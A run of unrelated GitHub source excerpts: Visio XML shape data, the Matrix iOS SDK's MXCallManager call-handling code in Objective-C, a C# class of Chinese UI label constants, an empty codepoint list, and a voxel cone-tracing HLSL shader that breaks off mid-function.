F="Width*1.000000">2</TxtWidth> <TxtHeight F="Height*1.000000">0.3055555555555556</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>1</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">2</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">2</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.3055555555555556</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> <TextBlock> <LeftMargin>0.0694444</LeftMargin> <RightMargin>0.0694444</RightMargin> <VerticalAlign>2</VerticalAlign> <DefaultTabStop>0</DefaultTabStop> </TextBlock> <Char IX="0"> <Font>0</Font> <Color>0</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Char IX="1"> <Font>0</Font> <Color>#0000ff</Color> <Style>1</Style> <Size>0.166667</Size> <ColorTrans>0</ColorTrans> </Char> <Para IX="0"> <IndFirst>0</IndFirst> <IndLeft>0</IndLeft> <IndRight>-0</IndRight> <SpLine>-1.2</SpLine> <SpBefore>0</SpBefore> <HorzAlign>1</HorzAlign> </Para> <Text><cp IX="0"/><pp IX="0"/>$location.<cp IX="1"/>hash()</Text> </Shape> <Shape ID="19" Type="Shape" Name="Line Curved, Stroke:Obsidian.19"> <XForm> <Angle>-0</Angle> <PinX>5.75</PinX> <PinY>5.333777777777778</PinY> <Width>1.611111111111111</Width> <Height>0.6102222222222223</Height> <LocPinX>0.8055555555555556</LocPinX> <LocPinY>0.3051111111111112</LocPinY> </XForm> <XForm1D> <BeginX>4.94444444444444</BeginX> <BeginY>5.02866666666667</BeginY> <EndX>6.55555555555556</EndX> <EndY>5.63888888888889</EndY> </XForm1D> <Layout> <ConLineJumpCode>4</ConLineJumpCode> <ConLineJumpStyle>0</ConLineJumpStyle> <ShapeRouteStyle>0</ShapeRouteStyle> <ConFixedCode>2</ConFixedCode> <ConLineRouteExt>2</ConLineRouteExt> </Layout> <TextXForm> <TxtWidth F="Width*1.000000">1.611111111111111</TxtWidth> <TxtHeight F="Height*1.000000">0.6102222222222223</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>2</ObjType> </Misc> <Line> <LinePattern>1</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> <BeginArrow>4</BeginArrow> <BeginArrowSize>2</BeginArrowSize> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>0</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>1</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">3.947459643111667e-16</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">1.611111111111111</X> <Y F="Height*1.000000">0.6102222222222227</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="20" Type="Shape" Name="Line Curved, Stroke:Obsidian.20"> <XForm> <Angle>-0</Angle> <PinX>5.6875</PinX> <PinY>6.256944444444445</PinY> <Width>1.736111111111111</Width> <Height>0.4861111111111111</Height> <LocPinX>0.8680555555555556</LocPinX> <LocPinY>0.2430555555555556</LocPinY> </XForm> <XForm1D> <BeginX>4.81944444444444</BeginX> <BeginY>6.5</BeginY> <EndX>6.55555555555556</EndX> <EndY>6.01388888888889</EndY> </XForm1D> <Layout> <ConLineJumpCode>4</ConLineJumpCode> <ConLineJumpStyle>0</ConLineJumpStyle> <ShapeRouteStyle>0</ShapeRouteStyle> <ConFixedCode>2</ConFixedCode> <ConLineRouteExt>2</ConLineRouteExt> </Layout> <TextXForm> <TxtWidth F="Width*1.000000">1.736111111111111</TxtWidth> <TxtHeight F="Height*1.000000">0.4861111111111111</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>2</ObjType> </Misc> <Line> <LinePattern>1</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> <BeginArrow>4</BeginArrow> <BeginArrowSize>2</BeginArrowSize> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>0</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>1</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.4861111111111111</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">1.736111111111111</X> <Y F="Height*0.000000">0</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> </Shapes> <Connects/> </Page> </Pages> <Windows> <Window ID="0" WindowType="Drawing" ViewScale="1" WindowState="134217744" ContainerType="Page" Page="0" ViewCenterX="5.25" ViewCenterY="4.944444444444445"> <ShowRulers>0</ShowRulers> <ShowGrid>0</ShowGrid> <ShowPageBreaks>1</ShowPageBreaks> <ShowConnectionPoints>0</ShowConnectionPoints> <GlueSettings>12</GlueSettings> <SnapSettings>52</SnapSettings> <TabSplitterPos>0.5</TabSplitterPos> </Window> </Windows> </VisioDocument>
{ "pile_set_name": "Github" }
/* Copyright 2015 OpenMarket Ltd Copyright 2018 New Vector Ltd Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #import "MXCallManager.h" #import "MXCall.h" #import "MXCallKitAdapter.h" #import "MXCallStack.h" #import "MXJSONModels.h" #import "MXRoom.h" #import "MXSession.h" #import "MXTools.h" #pragma mark - Constants definitions NSString *const kMXCallManagerNewCall = @"kMXCallManagerNewCall"; NSString *const kMXCallManagerConferenceStarted = @"kMXCallManagerConferenceStarted"; NSString *const kMXCallManagerConferenceFinished = @"kMXCallManagerConferenceFinished"; @interface MXCallManager () { /** Calls being handled. */ NSMutableArray<MXCall *> *calls; /** Listener to Matrix call-related events. */ id callEventsListener; /** Timer to periodically refresh the TURN server config. */ NSTimer *refreshTURNServerTimer; /** Observer for changes of MXSession's state */ id sessionStateObserver; } @end @implementation MXCallManager - (instancetype)initWithMatrixSession:(MXSession *)mxSession andCallStack:(id<MXCallStack>)callstack { self = [super init]; if (self) { _mxSession = mxSession; calls = [NSMutableArray array]; _inviteLifetime = 30000; _callStack = callstack; // Listen to call events callEventsListener = [mxSession listenToEventsOfTypes:@[ kMXEventTypeStringCallInvite, kMXEventTypeStringCallCandidates, kMXEventTypeStringCallAnswer, kMXEventTypeStringCallHangup ] onEvent:^(MXEvent *event, MXTimelineDirection direction, id customObject) { if (MXTimelineDirectionForwards == direction) { switch (event.eventType) { case MXEventTypeCallInvite: [self handleCallInvite:event]; break; case MXEventTypeCallAnswer: [self handleCallAnswer:event]; break; case MXEventTypeCallHangup: [self handleCallHangup:event]; break; case MXEventTypeCallCandidates: [self handleCallCandidates:event]; break; default: break; } } }]; // Listen to call state changes [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(handleCallStateDidChangeNotification:) name:kMXCallStateDidChange object:nil]; [self refreshTURNServer]; } return self; } - (void)dealloc { [self unregisterFromNotifications]; } - (void)close { [_mxSession removeListener:callEventsListener]; callEventsListener = nil; // Hang up all calls for (MXCall *call in calls) { [call hangup]; } [calls removeAllObjects]; calls = nil; // Do not refresh TURN servers config anymore [refreshTURNServerTimer invalidate]; refreshTURNServerTimer = nil; // Unregister from any possible notifications [self unregisterFromNotifications]; } - (MXCall *)callWithCallId:(NSString *)callId { MXCall *theCall; for (MXCall *call in calls) { if ([call.callId isEqualToString:callId]) { theCall = call; break; } } return theCall; } - (MXCall *)callInRoom:(NSString *)roomId { MXCall *theCall; for (MXCall *call in calls) { if ([call.room.roomId isEqualToString:roomId]) { theCall = call; break; } } return theCall; } - (void)placeCallInRoom:(NSString *)roomId withVideo:(BOOL)video success:(void (^)(MXCall *call))success failure:(void (^)(NSError * _Nullable error))failure { // If consumers of our API decide to use SiriKit or CallKit, they will face with application:continueUserActivity:restorationHandler: // and since the state of MXSession can be different from MXSessionStateRunning for the moment when this method will be executing // we must track session's state to become MXSessionStateRunning for performing outgoing call if (_mxSession.state != MXSessionStateRunning) { MXWeakify(self); __weak NSNotificationCenter *center = [NSNotificationCenter defaultCenter]; sessionStateObserver = [center addObserverForName:kMXSessionStateDidChangeNotification object:_mxSession queue:[NSOperationQueue mainQueue] usingBlock:^(NSNotification * _Nonnull note) { MXStrongifyAndReturnIfNil(self); if (self.mxSession.state == MXSessionStateRunning) { [self placeCallInRoom:roomId withVideo:video success:success failure:failure]; [center removeObserver:self->sessionStateObserver]; self->sessionStateObserver = nil; } }]; return; } MXRoom *room = [_mxSession roomWithRoomId:roomId]; if (room && 1 < room.summary.membersCount.joined) { if (2 == room.summary.membersCount.joined) { // Do a peer to peer, one to one call MXCall *call = [[MXCall alloc] initWithRoomId:roomId andCallManager:self]; if (call) { [calls addObject:call]; [call callWithVideo:video]; // Broadcast the new outgoing call [[NSNotificationCenter defaultCenter] postNotificationName:kMXCallManagerNewCall object:call userInfo:nil]; if (success) { success(call); } } else { if (failure) { failure(nil); } } } else { // Use the conference server bot to manage the conf call // There are 2 steps: // - invite the conference user (the bot) into the room // - set up a separated private room with the conference user to manage // the conf call in 'room' MXWeakify(self); [self inviteConferenceUserToRoom:room success:^{ MXStrongifyAndReturnIfNil(self); MXWeakify(self); [self conferenceUserRoomForRoom:roomId success:^(MXRoom *conferenceUserRoom) { MXStrongifyAndReturnIfNil(self); // The call can now be created MXCall *call = [[MXCall alloc] initWithRoomId:roomId callSignalingRoomId:conferenceUserRoom.roomId andCallManager:self]; if (call) { [self->calls addObject:call]; [call callWithVideo:video]; // Broadcast the new outgoing call [[NSNotificationCenter defaultCenter] postNotificationName:kMXCallManagerNewCall object:call userInfo:nil]; } if (success) { success(call); } } failure:failure]; } failure:failure]; } } else { NSLog(@"[MXCallManager] placeCallInRoom: ERROR: Cannot place call in %@. Members count: %tu", roomId, room.summary.membersCount.joined); if (failure) { // @TODO: Provide an error failure(nil); } } } - (void)removeCall:(MXCall *)call { [calls removeObject:call]; } #pragma mark - Private methods - (void)refreshTURNServer { MXWeakify(self); [_mxSession.matrixRestClient turnServer:^(MXTurnServerResponse *turnServerResponse) { MXStrongifyAndReturnIfNil(self); NSLog(@"[MXCallManager] refreshTURNServer: TTL:%tu URIs: %@", turnServerResponse.ttl, turnServerResponse.uris); if (turnServerResponse.uris) { self->_turnServers = turnServerResponse; // Re-new when we're about to reach the TTL self->refreshTURNServerTimer = [[NSTimer alloc] initWithFireDate:[NSDate dateWithTimeIntervalSinceNow:turnServerResponse.ttl * 0.9] interval:0 target:self selector:@selector(refreshTURNServer) userInfo:nil repeats:NO]; [[NSRunLoop mainRunLoop] addTimer:self->refreshTURNServerTimer forMode:NSDefaultRunLoopMode]; } else { NSLog(@"No TURN server: using fallback STUN server: %@", self->_fallbackSTUNServer); self->_turnServers = nil; } } failure:^(NSError *error) { MXStrongifyAndReturnIfNil(self); NSLog(@"[MXCallManager] refreshTURNServer: Failed to get TURN URIs.\n"); NSLog(@"Retry in 60s"); self->refreshTURNServerTimer = [NSTimer timerWithTimeInterval:60 target:self selector:@selector(refreshTURNServer) userInfo:nil repeats:NO]; [[NSRunLoop mainRunLoop] addTimer:self->refreshTURNServerTimer forMode:NSDefaultRunLoopMode]; }]; } - (void)handleCallInvite:(MXEvent *)event { MXCallInviteEventContent *content = [MXCallInviteEventContent modelFromJSON:event.content]; // Check expiration (usefull filter when receiving load of events when resuming the event stream) if (event.age < content.lifetime) { // If it is an invite from the peer, we need to create the MXCall if (![event.sender isEqualToString:_mxSession.myUserId]) { MXCall *call = [self callWithCallId:content.callId]; if (!call) { call = [[MXCall alloc] initWithRoomId:event.roomId andCallManager:self]; if (call) { [calls addObject:call]; [call handleCallEvent:event]; // Broadcast the incoming call [self notifyCallInvite:call.callId]; } } else { [call handleCallEvent:event]; } } } } - (void)notifyCallInvite:(NSString *)callId { MXCall *call = [self callWithCallId:callId]; if (call) { // If the app is resuming, wait for the complete end of the session resume in order // to check if the invite is still valid if (_mxSession.state == MXSessionStateSyncInProgress || _mxSession.state == MXSessionStateBackgroundSyncInProgress) { // The dispatch on the main thread should be enough. // It means that the sync response that contained the invite (and possibly its end // of validity) has been fully parsed. MXWeakify(self); dispatch_async(dispatch_get_main_queue(), ^{ MXStrongifyAndReturnIfNil(self); [self notifyCallInvite:callId]; }); } else if (call.state < MXCallStateConnected) { // If the call is still in ringing state, notify the app [[NSNotificationCenter defaultCenter] postNotificationName:kMXCallManagerNewCall object:call userInfo:nil]; } } } - (void)handleCallAnswer:(MXEvent *)event { MXCallAnswerEventContent *content = [MXCallAnswerEventContent modelFromJSON:event.content]; MXCall *call = [self callWithCallId:content.callId]; if (call) { [call handleCallEvent:event]; } } - (void)handleCallHangup:(MXEvent *)event { MXCallHangupEventContent *content = [MXCallHangupEventContent modelFromJSON:event.content]; // Forward the event to the MXCall object MXCall *call = [self callWithCallId:content.callId]; if (call) { [call handleCallEvent:event]; } // Forget this call. It is no more in progress [calls removeObject:call]; } - (void)handleCallCandidates:(MXEvent *)event { MXCallCandidatesEventContent *content = [MXCallCandidatesEventContent modelFromJSON:event.content]; // Forward the event to the MXCall object MXCall *call = [self callWithCallId:content.callId]; if (call) { [call handleCallEvent:event]; } } - (void)handleCallStateDidChangeNotification:(NSNotification *)notification { #if TARGET_OS_IPHONE MXCall *call = notification.object; switch (call.state) { case MXCallStateCreateOffer: [self.callKitAdapter startCall:call]; break; case MXCallStateRinging: [self.callKitAdapter reportIncomingCall:call]; break; case MXCallStateConnecting: [self.callKitAdapter reportCall:call startedConnectingAtDate:nil]; break; case MXCallStateConnected: [self.callKitAdapter reportCall:call connectedAtDate:nil]; break; case MXCallStateEnded: [self.callKitAdapter endCall:call]; break; default: break; } #endif } - (void)unregisterFromNotifications { NSNotificationCenter *notificationCenter = [NSNotificationCenter defaultCenter]; // Do not handle any call state change notifications [notificationCenter removeObserver:self name:kMXCallStateDidChange object:nil]; // Don't track MXSession's state if (sessionStateObserver) { [notificationCenter removeObserver:sessionStateObserver name:kMXSessionStateDidChangeNotification object:_mxSession]; sessionStateObserver = nil; } } #pragma mark - Conference call // Copied from vector-web: // FIXME: This currently forces Vector to try to hit the matrix.org AS for conferencing. // This is bad because it prevents people running their own ASes from being used. // This isn't permanent and will be customisable in the future: see the proposal // at docs/conferencing.md for more info. NSString *const kMXCallManagerConferenceUserPrefix = @"@fs_"; NSString *const kMXCallManagerConferenceUserDomain = @"matrix.org"; - (void)handleConferenceUserUpdate:(MXRoomMember *)conferenceUserMember inRoom:(NSString *)roomId { if (_mxSession.state == MXSessionStateRunning) { if (conferenceUserMember.membership == MXMembershipJoin) { // Broadcast the ongoing conference call [[NSNotificationCenter defaultCenter] postNotificationName:kMXCallManagerConferenceStarted object:roomId userInfo:nil]; } else if (conferenceUserMember.membership == MXMembershipLeave) { // Broadcast the end of the ongoing conference call [[NSNotificationCenter defaultCenter] postNotificationName:kMXCallManagerConferenceFinished object:roomId userInfo:nil]; } } } + (NSString *)conferenceUserIdForRoom:(NSString *)roomId { // Apply the same algo as other matrix clients NSString *base64RoomId = [[roomId dataUsingEncoding:NSUTF8StringEncoding] base64EncodedStringWithOptions:0]; base64RoomId = [base64RoomId stringByReplacingOccurrencesOfString:@"=" withString:@""]; return [NSString stringWithFormat:@"%@%@:%@", kMXCallManagerConferenceUserPrefix, base64RoomId, kMXCallManagerConferenceUserDomain]; } + (BOOL)isConferenceUser:(NSString *)userId { BOOL isConferenceUser = NO; if ([userId hasPrefix:kMXCallManagerConferenceUserPrefix]) { NSString *base64part = [userId substringWithRange:NSMakeRange(4, [userId rangeOfString:@":"].location - 4)]; if (base64part) { NSData *decodedData = [[NSData alloc] initWithBase64EncodedString:base64part options:0]; if (decodedData) { NSString *decoded = [[NSString alloc] initWithData:decodedData encoding:NSUTF8StringEncoding]; if (decoded) { isConferenceUser = [MXTools isMatrixRoomIdentifier:decoded]; } } } } return isConferenceUser; } + (BOOL)canPlaceConferenceCallInRoom:(MXRoom *)room roomState:(MXRoomState *)roomState { BOOL canPlaceConferenceCallInRoom = NO; if (roomState.isOngoingConferenceCall) { // All room members can join an existing conference call canPlaceConferenceCallInRoom = YES; } else { MXRoomPowerLevels *powerLevels = roomState.powerLevels; NSInteger oneSelfPowerLevel = [powerLevels powerLevelOfUserWithUserID:room.mxSession.myUserId]; // Only member with invite power level can create a conference call if (oneSelfPowerLevel >= powerLevels.invite) { canPlaceConferenceCallInRoom = YES; } } return canPlaceConferenceCallInRoom; } /** Make sure the conference user is in the passed room. It is mandatory before starting the conference call. @param room the room. @param success A block object called when the operation succeeds. @param failure A block object called when the operation fails. */ - (void)inviteConferenceUserToRoom:(MXRoom *)room success:(void (^)(void))success failure:(void (^)(NSError *error))failure { NSString *conferenceUserId = [MXCallManager conferenceUserIdForRoom:room.roomId]; [room members:^(MXRoomMembers *roomMembers) { MXRoomMember *conferenceUserMember = [roomMembers memberWithUserId:conferenceUserId]; if (conferenceUserMember && conferenceUserMember.membership == MXMembershipJoin) { success(); } else { [room inviteUser:conferenceUserId success:success failure:failure]; } } failure:failure]; } /** Get the room with the conference user dedicated for the passed room. @param roomId the room id. @param success A block object called when the operation succeeds. It returns the private room with conference user. @param failure A block object called when the operation fails. */ - (void)conferenceUserRoomForRoom:(NSString*)roomId success:(void (^)(MXRoom *conferenceUserRoom))success failure:(void (^)(NSError *error))failure { NSString *conferenceUserId = [MXCallManager conferenceUserIdForRoom:roomId]; // Use an existing 1:1 with the conference user; else make one __block MXRoom *conferenceUserRoom; dispatch_group_t group = dispatch_group_create(); for (MXRoomSummary *roomSummary in _mxSession.roomsSummaries) { if (roomSummary.isConferenceUserRoom) { dispatch_group_enter(group); MXRoom *room = [_mxSession roomWithRoomId:roomSummary.roomId]; [room state:^(MXRoomState *roomState) { if ([roomState.members memberWithUserId:conferenceUserId]) { conferenceUserRoom = room; } dispatch_group_leave(group); }]; } } MXWeakify(self); dispatch_group_notify(group, dispatch_get_main_queue(), ^{ MXStrongifyAndReturnIfNil(self); if (conferenceUserRoom) { success(conferenceUserRoom); } else { [self.mxSession createRoom:@{ @"preset": @"private_chat", @"invite": @[conferenceUserId] } success:^(MXRoom *room) { success(room); } failure:failure]; } }); } @end
{ "pile_set_name": "Github" }
/********************************************* 作者:曹旭升 QQ:279060597 访问博客了解详细介绍及更多内容: http://blog.shengxunwei.com **********************************************/ namespace Sheng.SailingEase.Windows.Forms.Development { class ConstantLanguage { public const string SELabelExDev_Description = "为控件提供运行时信息或说明性文字"; public const string SELabelExDev_Name = "文本"; public const string SELabelExDev_Catalog = "标准"; public const string SEPictureBoxExDev_Description = "显示图像"; public const string SEPictureBoxExDev_Name = "图像"; public const string SEPictureBoxExDev_Catalog = "标准"; public const string SEButtonExDev_Description = "当用户单击它时引发事件"; public const string SEButtonExDev_Name = "按钮"; public const string SEButtonExDev_Catalog = "标准"; public const string SETextBoxExDev_Description = "允许用户输入文本,并提供多行编辑和密码字符屏蔽功能"; public const string SETextBoxExDev_Name = "文本框"; public const string SETextBoxExDev_Catalog = "标准"; public const string SEPaginationDataGridViewDev_Description = "显示网格中可以自定义的行和列"; public const string SEPaginationDataGridViewDev_Name = "数据列表"; public const string SEPaginationDataGridViewDev_Catalog = "数据"; public const string SEComboBoxExDev_Description = "用于在下拉组合框中显示数据,可以设置是否允许输入"; public const string SEComboBoxExDev_Name = "复合文本框"; public const string SEComboBoxExDev_Catalog = "标准"; } }
{ "pile_set_name": "Github" }
16000: 16001: 16002: 16003: 16004: 16005: 16006: 16007: 16008: 16009: 1600A: 1600B: 1600C: 1600D: 1600E: 1600F: 16010: 16011: 16012: 16013: 16014: 16015: 16016: 16017: 16018: 16019: 1601A: 1601B: 1601C: 1601D: 1601E: 1601F: 16020: 16021: 16022: 16023: 16024: 16025: 16026: 16027: 16028: 16029: 1602A: 1602B: 1602C: 1602D: 1602E: 1602F: 16030: 16031: 16032: 16033: 16034: 16035: 16036: 16037: 16038: 16039: 1603A: 1603B: 1603C: 1603D: 1603E: 1603F: 16040: 16041: 16042: 16043: 16044: 16045: 16046: 16047: 16048: 16049: 1604A: 1604B: 1604C: 1604D: 1604E: 1604F: 16050: 16051: 16052: 16053: 16054: 16055: 16056: 16057: 16058: 16059: 1605A: 1605B: 1605C: 1605D: 1605E: 1605F: 16060: 16061: 16062: 16063: 16064: 16065: 16066: 16067: 16068: 16069: 1606A: 1606B: 1606C: 1606D: 1606E: 1606F: 16070: 16071: 16072: 16073: 16074: 16075: 16076: 16077: 16078: 16079: 1607A: 1607B: 1607C: 1607D: 1607E: 1607F: 16080: 16081: 16082: 16083: 16084: 16085: 16086: 16087: 16088: 16089: 1608A: 1608B: 1608C: 1608D: 1608E: 1608F: 16090: 16091: 16092: 16093: 16094: 16095: 16096: 16097: 16098: 16099: 1609A: 1609B: 1609C: 1609D: 1609E: 1609F: 160A0: 160A1: 160A2: 160A3: 160A4: 160A5: 160A6: 160A7: 160A8: 160A9: 160AA: 160AB: 160AC: 160AD: 160AE: 160AF: 160B0: 160B1: 160B2: 160B3: 160B4: 160B5: 160B6: 160B7: 160B8: 160B9: 160BA: 160BB: 160BC: 160BD: 160BE: 160BF: 160C0: 160C1: 160C2: 160C3: 160C4: 160C5: 160C6: 160C7: 160C8: 160C9: 160CA: 160CB: 160CC: 160CD: 160CE: 160CF: 160D0: 160D1: 160D2: 160D3: 160D4: 160D5: 160D6: 160D7: 160D8: 160D9: 160DA: 160DB: 160DC: 160DD: 160DE: 160DF: 160E0: 160E1: 160E2: 160E3: 160E4: 160E5: 160E6: 160E7: 160E8: 160E9: 160EA: 160EB: 160EC: 160ED: 160EE: 160EF: 160F0: 160F1: 160F2: 160F3: 160F4: 160F5: 160F6: 160F7: 160F8: 160F9: 160FA: 160FB: 160FC: 160FD: 160FE: 160FF:
{ "pile_set_name": "Github" }
float SEGIVoxelScaleFactor; int StochasticSampling; int TraceDirections; int TraceSteps; float TraceLength; float ConeSize; float OcclusionStrength; float OcclusionPower; float ConeTraceBias; float GIGain; float NearLightGain; float NearOcclusionStrength; float SEGISoftSunlight; float FarOcclusionStrength; float FarthestOcclusionStrength; half4 GISunColor; sampler3D SEGIVolumeLevel0; sampler3D SEGIVolumeLevel1; sampler3D SEGIVolumeLevel2; sampler3D SEGIVolumeLevel3; sampler3D SEGIVolumeLevel4; sampler3D SEGIVolumeLevel5; sampler3D SEGIVolumeLevel6; sampler3D SEGIVolumeLevel7; sampler3D VolumeTexture1; sampler3D VolumeTexture2; sampler3D VolumeTexture3; float4x4 SEGIVoxelProjection; float4x4 SEGIWorldToVoxel; float4x4 GIProjectionInverse; float4x4 GIToWorld; float4x4 GIToVoxelProjection; half4 SEGISkyColor; float4 SEGISunlightVector; int ReflectionSteps; uniform half4 _MainTex_TexelSize; float4x4 ProjectionMatrixInverse; sampler2D _CameraDepthNormalsTexture; sampler2D _CameraDepthTexture; sampler2D _MainTex; sampler2D PreviousGITexture; sampler2D _CameraGBufferTexture0; sampler2D _CameraMotionVectorsTexture; float4x4 WorldToCamera; float4x4 ProjectionMatrix; int SEGISphericalSkylight; float GetDepthTexture(float2 coord) { #if defined(UNITY_REVERSED_Z) return 1.0 - tex2Dlod(_CameraDepthTexture, float4(coord.x, coord.y, 0.0, 0.0)).x; #else return tex2Dlod(_CameraDepthTexture, float4(coord.x, coord.y, 0.0, 0.0)).x; #endif } float4 GetViewSpacePosition(float2 coord) { float depth = GetDepthTexture(coord); float4 viewPosition = mul(ProjectionMatrixInverse, float4(coord.x * 2.0 - 1.0, coord.y * 2.0 - 1.0, 2.0 * depth - 1.0, 1.0)); viewPosition /= viewPosition.w; return viewPosition; } float3 ProjectBack(float4 viewPos) { viewPos = mul(ProjectionMatrix, float4(viewPos.xyz, 0.0)); viewPos.xyz /= viewPos.w; viewPos.xyz = viewPos.xyz * 0.5 + 0.5; return viewPos.xyz; } float2 rand(float2 coord) { float noiseX = saturate(frac(sin(dot(coord, float2(12.9898, 78.223))) * 43758.5453)); float noiseY = saturate(frac(sin(dot(coord, float2(12.9898, 78.223)*2.0)) * 43758.5453)); return float2(noiseX, noiseY); } float4 ConeTrace(float3 voxelOrigin, float3 kernel, float3 worldNormal, float2 uv, float noise, int steps, float width, float lengthMult, float skyMult) { float skyVisibility = 1.0; float3 gi = float3(0, 0, 0); int numSteps = (int)(steps * lerp(SEGIVoxelScaleFactor, 1.0, 0.5)); float3 adjustedKernel = normalize(kernel.xyz + worldNormal.xyz * 0.00 * width); for (int i = 0; i < numSteps; i++) { float fi = ((float)i) / numSteps; fi = lerp(fi, 1.0, 0.01); float coneDistance = (exp2(fi * 4.0) - 0.9) / 8.0; coneDistance -= 0.00; float coneSize = fi * width * lerp(SEGIVoxelScaleFactor, 1.0, 0.5); float3 voxelCheckCoord = voxelOrigin.xyz + adjustedKernel.xyz * (coneDistance * 0.12 * TraceLength * lengthMult + 0.001); float4 sample = float4(0.0, 0.0, 0.0, 0.0); int mipLevel = floor(coneSize); if (mipLevel == 0) sample = tex3Dlod(SEGIVolumeLevel0, float4(voxelCheckCoord.xyz, coneSize)); else if (mipLevel == 1) sample = tex3Dlod(SEGIVolumeLevel1, float4(voxelCheckCoord.xyz, coneSize)); else if (mipLevel == 2) sample = tex3Dlod(SEGIVolumeLevel2, float4(voxelCheckCoord.xyz, coneSize)); else if (mipLevel == 3) sample = tex3Dlod(SEGIVolumeLevel3, float4(voxelCheckCoord.xyz, coneSize)); else if (mipLevel == 4) sample = tex3Dlod(SEGIVolumeLevel4, float4(voxelCheckCoord.xyz, coneSize)); else if (mipLevel == 5) sample = tex3Dlod(SEGIVolumeLevel5, float4(voxelCheckCoord.xyz, coneSize)); else sample = float4(1, 1, 1, 0); float occlusion = skyVisibility * skyVisibility; float falloffFix = pow(fi, 1.0) * 4.0 + NearLightGain; sample.a *= lerp(saturate(coneSize / 1.0), 1.0, NearOcclusionStrength); gi.rgb += sample.rgb * (coneSize * 1.0 + 1.0) * occlusion * falloffFix; skyVisibility *= pow(saturate(1.0 - (sample.a) * (coneSize * 0.2 * FarOcclusionStrength + 1.0 + coneSize * coneSize * 0.05 * FarthestOcclusionStrength) * OcclusionStrength), lerp(0.014, 1.5 * OcclusionPower, min(1.0, coneSize / 5.0))); } float NdotL = pow(saturate(dot(worldNormal, kernel) * 1.0 - 0.0), 0.5); gi *= NdotL; skyVisibility *= NdotL; if (StochasticSampling > 0) { skyVisibility *= lerp(saturate(dot(kernel, float3(0.0, 1.0, 0.0)) * 10.0 + 0.0), 1.0, SEGISphericalSkylight); } else { skyVisibility *= lerp(saturate(dot(kernel, float3(0.0, 1.0, 0.0)) * 10.0 + 0.0), 1.0, SEGISphericalSkylight); } float3 skyColor = float3(0.0, 0.0, 0.0); float upGradient = saturate(dot(kernel, float3(0.0, 1.0, 0.0))); float sunGradient = saturate(dot(kernel, -SEGISunlightVector.xyz)); skyColor += lerp(SEGISkyColor.rgb * 1.0, SEGISkyColor.rgb * 0.5, pow(upGradient, (0.5).xxx)); skyColor += GISunColor.rgb * pow(sunGradient, (4.0).xxx) * SEGISoftSunlight; gi.rgb *= GIGain * 0.25; gi += skyColor * skyVisibility * skyMult; return float4(gi.rgb * 0.8, 0.0f); } float ReflectionOcclusionPower; float SkyReflectionIntensity; float4 SpecularConeTrace(float3 voxelOrigin, float3 kernel, float3 worldNormal, float smoothness, float2 uv, float dither) { float skyVisibility = 1.0; float3 gi = float3(0, 0, 0); float coneLength = 6.0; float coneSizeScalar = lerp(1.3, 0.05, smoothness) * coneLength; float3 adjustedKernel = normalize(kernel.xyz + worldNormal.xyz * 0.2 * (1.0 - 